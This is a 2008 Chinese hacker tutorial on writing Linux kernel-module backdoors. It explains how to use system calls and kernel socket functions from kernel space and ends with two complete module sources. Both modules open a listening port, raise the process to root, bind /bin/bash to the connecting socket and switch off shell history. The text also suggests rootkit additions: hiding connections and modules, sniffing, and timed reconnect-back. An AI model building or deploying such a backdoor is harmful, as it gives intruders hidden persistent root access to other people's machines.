Author: wzt
EMail: wzt@xsec.org
Site: http://www.xsec.org & hhtp://hi.baidu.com/wzt85
Date: 2008-8-29

一. 内核后门简介

所谓内核后门， 当然指的是在内核空间中给 hacker 提供的可远程控制的 shell 模块喽，性质跟 ring3 下的后门一样，
只是所有功能都在内核空间实现了而已。其实它跟 rootkit 的定义基本已经混淆了。有的内核后门不能提供隐藏行为的功能，
有的 rookit 没有提供远程 shell 的功能。只有两者互补才能组合成一个功能强的'root-kit'.
本文只介绍 2 种实现内核后门的基本方法，如果您有更好的方法，还请多多指教。

二. 内核中系统调用

Unix 世界中一切皆文件的思想将 socket 通信变的简单的多，通常我们直接可以用 read，write 等 api 函数作为 socket 通信的方法，
这些 api 函数最终都会调用 kernel 提供的 sys_XXX 系列函数。平时用到的 read 等函数早以在 c 库中封装好了。其实我们可以自己
直接向系统发送软中断 int 0x80 来执行 sys_read 函数，如：

```
int my_read(int fd, char * buf, off_t count)
{
        long __res;

        __asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"

                                    : "=a" (__res)
                                    : "0" (__NR_read), "ri" ((long)(fd),        "c"((long)(buf),
                                       "d" ((long)(count)) :"memory");

                                    return (int)(__res);
}
```

这里用到了 at&t 的内嵌汇编程序来实现，其实就是向 eax 寄存器中存入具体的系统调用号，ebx，ecx，edx 依次存入 read 函数的参数。

最后执行一个 int $0x80 陷入内核去执行 sys_read.要想在内核空间中实现后门的功能，就必须调用某些函数来进行 socket 通信。

本节介绍直接在内核中使用系统调用的方式来和远程用户进行通讯,下一节则介绍直接使用内核 socket 函数进行通讯。

通过上面的例子，我们明白了如何在用户空间下来使用系统调用。那么上述方法也可以用在内核空间中，这样在内核空间执行

系统调用感觉效率会很低，但是对我们来说，编写程序将会非常的方便。著名的 sk rookti 就是用这种方式来进行通讯的。

linux 内核提供了很多个不同的系统调用，我们需要编写几个宏来方便的使用这些系统调用。比如下面这几个宏：

```
#define my__syscall_return(type, res) \
do { \
        if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
        errno = -(res); \
        res = -1; \
        } \
        return (type) (res); \
} while (0)

#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; int $0x80 ; pop %%ebx" \
: "=a" (__res) \
: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
          "d" ((long)(arg3)) : "memory"); \
my__syscall_return(type,__res); \
}
```

my_syscall3 代表这个系统调用有 3 个参数，以 read 系统调用为例，我们可以在内核空间中这样使用它：

```
static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);
```

编译的时候就会被展开成:

```
int read(int fd, char * buf, off_t count)        \
{                                                 \
        long __res;                               \

        __asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"\
                                : "=a" (__res) \
                                : "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf), \
                                  "d" ((long)(count)) :"memory"); \

                                return (int)(__res);\
    }
```

本文后面将会给出比较全面的宏，通过这些宏，可以在内核中随意的使用系统调用。

好了，现在可以使用 read, write, select 等系统调用在内核空间收发信息了。 但是怎么在内核中使用平时在用户空间
下用到的那些 socket 函数呢？其实这些 socket 函数都是通过执行 sys_socketall 系统调用来实现的：

linux-2.6.18/net/socket.c

```
asmlinkage long sys_socketcall(int call, unsigned long __user *args)
{
        unsigned long a[6];
        unsigned long a0,a1;
        int err;

        ...

        a0=a[0];
        a1=a[1];

        switch(call)
        {
                case SYS_SOCKET:
                        err = sys_socket(a0,a1,a[2]);
                        break;
                case SYS_BIND:
                        err = sys_bind(a0,(struct sockaddr __user *)a1, a[2]);
                        break;
                case SYS_CONNECT:
                        err = sys_connect(a0, (struct sockaddr __user *)a1, a[2]);
                        break;
                case SYS_LISTEN:
                        err = sys_listen(a0,a1);
                        break;
                case SYS_SOCKETPAIR:
                        err = sys_socketpair(a0,a1, a[2], (int __user *)a[3]);
                        break;
                case SYS_SEND:
                        err = sys_send(a0, (void __user *)a1, a[2], a[3]);
                        break;
        ...
    }
```

通过向 sys_socketcall 函数 2 个参数来执行具体的函数调用，参数 call 一般为 SYS_SOCKET, SYS_BIND 等，

args 是一个数组，通过向这个数组的每个元素赋值，来调用不同的函数。以 bind 这个函数为例，可以这样调用：

```
    struct sockaddr_in cli_addr;
    unsigned long args[];

    args[0] = sock_fd;
    args[1] = (unsigned long)cli_addr;
    args[2] = (unsigned long)sizeof(struct sockaddr_in);

    sys_socketcall(SYS_BIND, args);
```

其他函数类似。这样就可以在内核中来使用这些 socket 函数了。

下面给出一个具体的监听某一个端口的例子：

```
int k_listen(int port)
{
    struct task_struct *tsk = current;
    struct sockaddr_in serv_addr;
    struct sockaddr_in cli_addr;
    mm_segment_t old_fs;
    char buff[100];

    unsigned long arg[3];
    int sock_fd, sock_id;
    int tmp_kid;
    int i, n, cli_len;

    old_fs = get_fs();

    tsk->uid = 0;
    tsk->euid = 0;
    tsk->gid = SGID;
    tsk->egid = 0;
```

```
/* create socket */
arg[0] = AF_INET;
arg[1] = SOCK_STREAM;
arg[2] = 0;

set_fs(KERNEL_DS);

ssetmask(~0);

for (i=0; i < 4096; i++)
        close(i);

if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) {
        set_fs(old_fs);

                return 0;
        }
printk("create socket ok.\n");

/* bind address */
memset((void *) &serv_addr, 0, sizeof(serv_addr));

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = 0;

arg[0] = sock_fd;
arg[1] = (unsigned long) &serv_addr;
arg[2] = (unsigned long) sizeof(serv_addr);

        if ((socketcall(SYS_BIND, arg)) == -1) {
        close(sock_fd);
                        set_fs(old_fs);

                        return 0;
        }
printk("bind address ok.\n");

/* begin listen */
        arg[0] = sock_fd;
        arg[1] = (unsigned long) 255;

        if ((socketcall(SYS_LISTEN, arg)) == -1) {
```

```
                        close(sock_fd);
                        set_fs(old_fs);

                        return 0;
                }
        printk("listen on port %d\n", port);

        cli_len = sizeof(cli_addr);
        arg[0] = sock_fd;
        arg[1] = (unsigned long) &cli_addr;
        arg[2] = (unsigned long) &cli_len;

                if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
                printk("accept error.\n");

                        close(sock_fd);
                        set_fs(old_fs);

                        return 0;
                }
        printk("accept a client.\n");

        dup2(sock_id, 0);
        dup2(sock_id, 1);
        dup2(sock_id, 2);

        execve(earg[0], (const char **) earg, (const char **) env);

        close(sock_id);
        close(sock_fd);
        set_fs(old_fs);

        return 1;
}
```

三．使用 kernel mode socket 函数

　　前面考虑到在内核空间使用系统调用会使系统效率有所降低。解决的方法是直接在内核中使用

　　内核 socket 函数来进行通讯。我们去看看 kernel mode socket 是怎么在内核中实现的，同样在

　　linux-2.6.18/net/socket.c 中：

在 user mode socket 中的 socket 函数的功能是建立个套接字，它是调用 sys_socket 函数来实现的，

因此我们在自己的模块中直接使用它的函数来完成相同的功能.先看下它是怎么实现的：

```
asmlinkage long sys_socket(int family, int type, int protocol)
{
    int retval;
    struct socket *sock;

    retval = sock_create(family, type, protocol, &sock);
    if (retval < 0)
            goto out;

    retval = sock_map_fd(sock);
    if (retval < 0)
            goto out_release;

    out:

    return retval;

    out_release:
    sock_release(sock);
    return retval;
}
```

关键就 2 个函数，sock_create()来初始化一个 struct socket 结构体,在用 sock_map_fd()来给

刚才的 socket 结构分配一个空闲的文件描述符。有兴趣的读者可以继续深入这些函数，看看

它的具体实现细节。在这里我们只关心最上层的这 2 个函数。因为我们要在自己的模块中调用它们。

同样对于 sys_bind, sys_listen 等，我们用同样的办法来处理。有了源代码，看它们怎么实现，

我们就怎么实现。

下面给出一个监听某端口的例子：

```
int k_listen(void)
{
        struct socket *sock,*newsock;
        struct sockaddr_in server;
    struct sockaddr client[128];
```

```
char address[128];
int sockfd, sockid, i,size = 0;
        int error = 0,len = sizeof(struct sockaddr);

        //set_fs(KERNEL_DS);

        error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
        if (error < 0) {
                printk("[-] socket_create failed: %d\n",error);
                sock_release(sock);
                return -1;
        }

sockfd = sock_map_fd(sock);
if (sockfd < 0) {
        printk("[-] sock_map_fd() failed.\n");
        sock_release(sock);
        return -1;
}

for (i = 0; i < 8; i++)
        server.sin_zero[i] = 0;

server.sin_family = PF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(port);

error = security_socket_bind(sock,(struct sockaddr *)&server,len);
if (!error) {
        error = sock->ops->bind(sock,(struct sockaddr *)&server,len);

        if (error < 0) {
                printk("[-] unix_bind() failed.\n");
                sock_release(sock);
                return -1;
        }

}

error = sock->ops->listen(sock,5);
if (error < 0) {
        printk("[-] unix_listen failed.\n");
        sock_release(sock);
        return -1;
```

```
	}
	printk("[+] listen port %d ok.\n",port);

	if (!(newsock = sock_alloc())) {
		printk("[-] sock_alloc() failed.\n");
		sock_release(sock);
		return -1;
	}

	newsock->type = sock->type;
	newsock->ops = sock->ops;

	printk("[+] waiting for a client.\n");

	if (newsock->ops->accept) {
		error = security_socket_accept(sock,newsock);
		if (error < 0)
			goto out_release;

		if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS)
{
			printk("[-] accept got a signal.\n");
			goto out_release;
		}
		else if (error < 0) {
			printk("[-] unix_accept failed.\n");
			goto out_release;
		}

		if (newsock->ops->getname(newsock,client,&len,1) < 0)
			goto out_release;

		security_socket_post_accept(sock,newsock);

		sockid = sock_map_fd(newsock);
		if (sockid < 0) {
				printk("[-] sock_map_fd() failed.\n");
				sock_release(newsock);
				return -1;
		}

		printk("[+] accept a client.\n");

		kshell(sockid);
```

```
        }

                return 1;

        out_release:
        sock_release(sock);
        sock_release(newsock);

        return 0;
}
```

四. 如何扩展后门

　　如果费这么大力气在内核中就实现了这么简单的功能，还不如在用户空间实现。
　　问题关键是我们现在在内核中，只要对内核有足够的了解，还有什么不能实现的呢？
　　内核源码在手，能做什么,就看你的想象力了。首先是加上一些常用的 rookit 技巧，
　　如隐藏网络连接，hack 下 tcp4_seq_show 就行了，隐藏模块 list_del 一下就行了。为了控制方便，
　　加个 pty 支持吧。再牛的搞个端口复用吧。想嗅探启动吗？用 netfilter 过滤下就行了。

　　下面说说编写更高级后门时需要注意的一些地方：

　　1. 现在你在内核中，就要考虑并发和竞态的问题，给临界区加个锁或信号量是不错的选择。

　　2. 如果你想做一个定时回连的后门，请不要使用内核定时器。它的执行函数是在原子方式下执行的，
　　也就是这个时候你不能去访问用户空间的东西，如果引起了休眠，内核可能就 oops 了。你可以使用
　　schedule_timeout()让当前模块休息几秒，当调度程序把它调度回来的时候在尝试一次回连的操作，
　　就不会有问题了。

五. 参考资料

[1] Linux kernel source code
  http://www.kernel.org

[2] sk1.3-b source code　–　sd
http://sd.g-art.nl/sk

[3] enyelkm 1.2 - RaiSe && David Reguera
http://www.enye-sec.org

[4] wnps-2.26 – wzt
http://hi.baidu.com/wzt85

六. 相关源代码

Syscalls.h

```
/* macros de syscalls */

int errno;

#define my__syscall_return(type, res) \
do { \
	if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
		errno = -(res); \
		res = -1; \
	} \
	return (type) (res); \
} while (0)

/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */
#define my_syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
	: "=a" (__res) \
	: "0" (__NR_##name)); \
my__syscall_return(type,__res); \
}

#define my_syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
	: "=a" (__res) \
	: "0" (__NR_##name),"ri" ((long)(arg1)) : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
        : "=a" (__res) \
        : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)) \
        : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
        : "=a" (__res) \
        : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
                    "d" ((long)(arg3)) : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
        : "=a" (__res) \
        : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
            "d" ((long)(arg3)),"S" ((long)(arg4)) : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
            type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; " \
                                "int $0x80 ; pop %%ebx" \
        : "=a" (__res) \
        : "i" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
            "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)) \
        : "memory"); \
my__syscall_return(type,__res); \
}
```

Kshell.c

```
/*
* kenel mode socket door v0.1
*
* by wzt http://www.xsec.org
*/

#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/netdevice.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/errno.h>
#include <net/tcp.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/ioctls.h>
#include <asm/termbits.h>
#include "syscalls.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

#define __NR_e_exit          __NR_exit

#define SGID                 0x489196ab
#define HOME                 "/"

static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };

char *env[]={
        "TERM=linux",
        "HOME=" HOME,
        "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
        ":/usr/local/sbin",
        "HISTFILE=/dev/null",
          NULL };

static inline my_syscall0(pid_t, fork);
static inline my_syscall0(long, pause);
static inline my_syscall2(int, kill, pid_t, pid, int, sig);
static inline my_syscall1(int, chdir, const char *, path);
static inline my_syscall1(long, ssetmask, int, newmask);
static inline my_syscall3(int, write, int, fd, const char *, buf, off_t, count);
static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);
static inline my_syscall1(int, e_exit, int, exitcode);
static inline my_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline my_syscall1(int, close, int, fd);
static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall2(int, socketcall, int, call, unsigned long *, args);
static inline my_syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);
static inline my_syscall3(int, execve, const char *, filename,
        const char **, argv, const char **, envp);
static inline my_syscall3(long, ioctl, unsigned int, fd, unsigned int, cmd,
                unsigned long, arg);
static inline my_syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *,
                writefds, fd_set *, exceptfds, struct timeval *, timeout);
static inline my_syscall2(unsigned long, signal, int, sig,
                __sighandler_t, handler);

/**
* the code copy from adore-ng
*/
int wnps_atoi(const char *str)
{
                int ret = 0, mul = 1;
                const char *ptr;

                for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
                                ;
                ptr--;
                while (ptr >= str) {
                                if (*ptr < '0' || *ptr > '9')
                                                break;
                                ret += (*ptr - '0') * mul;
```

```
				mul *= 10;
				ptr--;
		}
		return ret;
}

/**
* in_aton - change str to ipv4 address.
*
* see net/core/utils.c
*/
__u32 wnps_in_aton(const char *str)
{
		unsigned long l;
		unsigned int val;
		int i;

		l = 0;
		for (i = 0; i < 4; i++) {
				l <<= 8;
				if (*str != '\0') {
						val = 0;
						while (*str != '\0' && *str != '.') {
								val *= 10;
								val += *str - '0';
								str++;
						}
						l |= val;
						if (*str != '\0')
								str++;
				}
		}

		return(htonl(l));
}

int k_listen(int port)
{
	struct task_struct *tsk = current;
	struct sockaddr_in serv_addr;
	struct sockaddr_in cli_addr;
	mm_segment_t old_fs;
	char buff[100];
```

```
unsigned long arg[3];
int sock_fd, sock_id;
int tmp_kid;
int i, n, cli_len;

old_fs = get_fs();

tsk->uid = 0;
tsk->euid = 0;
tsk->gid = SGID;
tsk->egid = 0;

/* create socket */
arg[0] = AF_INET;
arg[1] = SOCK_STREAM;
arg[2] = 0;

set_fs(KERNEL_DS);

ssetmask(~0);

for (i=0; i < 4096; i++)
        close(i);

if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) {
        set_fs(old_fs);

                return 0;
        }
printk("create socket ok.\n");

/* bind address */
memset((void *) &serv_addr, 0, sizeof(serv_addr));

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = 0;

arg[0] = sock_fd;
arg[1] = (unsigned long) &serv_addr;
arg[2] = (unsigned long) sizeof(serv_addr);

        if ((socketcall(SYS_BIND, arg)) == -1) {
        close(sock_fd);
```

```
                set_fs(old_fs);

                return 0;
        }
printk("bind address ok.\n");

/* begin listen */
        arg[0] = sock_fd;
        arg[1] = (unsigned long) 255;

        if ((socketcall(SYS_LISTEN, arg)) == -1) {
                close(sock_fd);
                set_fs(old_fs);

                return 0;
        }
printk("listen on port %d\n", port);

cli_len = sizeof(cli_addr);
arg[0] = sock_fd;
arg[1] = (unsigned long) &cli_addr;
arg[2] = (unsigned long) &cli_len;

        if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
        printk("accept error.\n");

                close(sock_fd);
                set_fs(old_fs);

                return 0;
        }
printk("accept a client.\n");

dup2(sock_id, 0);
dup2(sock_id, 1);
dup2(sock_id, 2);

execve(earg[0], (const char **) earg, (const char **) env);

close(sock_id);
close(sock_fd);
set_fs(old_fs);

return 1;
```

```
}

static int ksocket_init(void)
{
        printk("ksocket start.\n");

        k_listen(22);
}

static void ksocket_exit(void)
{
        printk("ksocket exit.\n");

}

module_init(ksocket_init);
module_exit(ksocket_exit);
```

Kshell1.c

```
/*
* kenel mode socket door v0.1
*
* by wzt http://www.xsec.org
*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/types.h>
#include <linux/errno.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>

#include "syscalls.h"
```

```
#define port        8800
#define LEN          256

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

#define SGID                        0x489196ab
#define HOME                          "/"

static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };

char *env[]={
        "TERM=linux",
        "HOME=" HOME,
        "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
        ":/usr/local/sbin",
        "HISTFILE=/dev/null",
          NULL };

static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall3(int, execve, const char *, filename,
                const char **, argv, const char **, envp);

int kshell(int sock_fd)
{
                struct task_struct *tsk = current;
                mm_segment_t old_fs;

                old_fs = get_fs();
        set_fs(KERNEL_DS);

                tsk->uid = 0;
                tsk->euid = 0;
                tsk->gid = SGID;
                tsk->egid = 0;

        dup2(sock_fd, 0);
        dup2(sock_fd, 1);
        dup2(sock_fd, 2);

                execve(earg[0], (const char **) earg, (const char **) env);

                set_fs(old_fs);
        return 1;
}

int k_listen(void)
{
                struct socket *sock,*newsock;
                struct sockaddr_in server;
        struct sockaddr client[128];
        char address[128];
        int sockfd, sockid, i,size = 0;
                int error = 0,len = sizeof(struct sockaddr);

                //set_fs(KERNEL_DS);

                error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
                if (error < 0) {
                                printk("[-] socket_create failed: %d\n",error);
                                sock_release(sock);
                                return -1;
                }

        sockfd = sock_map_fd(sock);
        if (sockfd < 0) {
                printk("[-] sock_map_fd() failed.\n");
                sock_release(sock);
                return -1;
        }

        for (i = 0; i < 8; i++)
                server.sin_zero[i] = 0;

        server.sin_family = PF_INET;
        server.sin_addr.s_addr = INADDR_ANY;
        server.sin_port = htons(port);

        error = security_socket_bind(sock,(struct sockaddr *)&server,len);
        if (!error) {
                error = sock->ops->bind(sock,(struct sockaddr *)&server,len);

                if (error < 0) {
                        printk("[-] unix_bind() failed.\n");
                        sock_release(sock);
                        return -1;
                }
```

```
	}

	error = sock->ops->listen(sock,5);
	if (error < 0) {
		printk("[-] unix_listen failed.\n");
		sock_release(sock);
		return -1;
	}
	printk("[+] listen port %d ok.\n",port);

	if (!(newsock = sock_alloc())) {
		printk("[-] sock_alloc() failed.\n");
		sock_release(sock);
		return -1;
	}

	newsock->type = sock->type;
	newsock->ops = sock->ops;

	printk("[+] waiting for a client.\n");

	if (newsock->ops->accept) {
		error = security_socket_accept(sock,newsock);
		if (error < 0)
			goto out_release;

		if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS)
{
			printk("[-] accept got a signal.\n");
			goto out_release;
		}
		else if (error < 0) {
			printk("[-] unix_accept failed.\n");
			goto out_release;
		}

		if (newsock->ops->getname(newsock,client,&len,1) < 0)
			goto out_release;

		security_socket_post_accept(sock,newsock);

		sockid = sock_map_fd(newsock);
		if (sockid < 0) {
				printk("[-] sock_map_fd() failed.\n");
				sock_release(newsock);
				return -1;
			}

			printk("[+] accept a client.\n");

			kshell(sockid);
		}

			return 1;

		out_release:
		sock_release(sock);
		sock_release(newsock);

		return 0;
}

int k_socket_init(void)
{
			printk("[+] kernel socket test start.\n");

			k_listen();
}

void k_socket_exit(void)
{
			printk("[+] kernel socket test over.\n");
}

module_init(k_socket_init);
module_exit(k_socket_exit);
```